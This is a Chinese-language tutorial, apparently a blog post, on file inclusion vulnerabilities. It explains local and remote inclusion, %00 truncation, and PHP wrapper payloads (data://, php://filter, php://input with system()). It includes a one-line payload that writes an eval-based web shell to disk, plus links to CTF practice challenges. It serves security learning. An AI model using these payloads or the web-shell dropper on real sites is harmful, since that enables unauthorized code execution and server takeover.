文件包含漏洞

什么是文件包含

简单点说,就是写代码时,调用已有功能文件或者库的时候,就是文件包含。

常见的脚本文件包含代码:
ASP,PHP,JSP,ASPX等
<!–#include file=“1.asp” -->
<!–#include file=“top.aspx” -->
<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%>
<?php Include(‘test.php’)?>

漏洞原理

漏洞产生是因为文件包含能够将包含的文件进行脚本解析(不论后缀格式),用户输入过滤不严谨。
表现形式:http://www.xxx.com/include.php?filename=xxx.php

漏洞分类

远程文件包含

remote file include

本地文件包含

local file include
顾名思义包含本地的文件,所以需要通过上传或者其他方式上传含有后门代码的文件(txt,jpg等等)

漏洞知识点

绕过后缀(PHP低版本)

代码

<?php \$filename=\$_GET['filename']; include($filename.'.php'); ?>

这里可以采用%00截断,或者突破后缀名长度限制
远程包含时,%00,%23,?等

伪协议(高版本)

data://text/plain,<?php%20phpinfo();?>
data协议,要将allow_url_include设置为ON
文件读取:
php://filter/convert.base64-encode/resource=1.txt
file:///D:/phpstudy/PHPTutorial/WWW/1.txt
RCE执行:
php://input Post:<?php system('ver')?>

<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>

data://text/plain,<?php%20phpinfo();?>

漏洞拓展

  • ekucms包含日志getshell
    无法上传文件时,考虑系统,日志等文件
  • [ACTF2020 新生赛]Include
    https://buuoj.cn/challenges
    I春秋“百度杯”CTF比赛 2017 二月场 50 include
    https://www.ichunqiu.com/battalion?t=1&r=57475
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值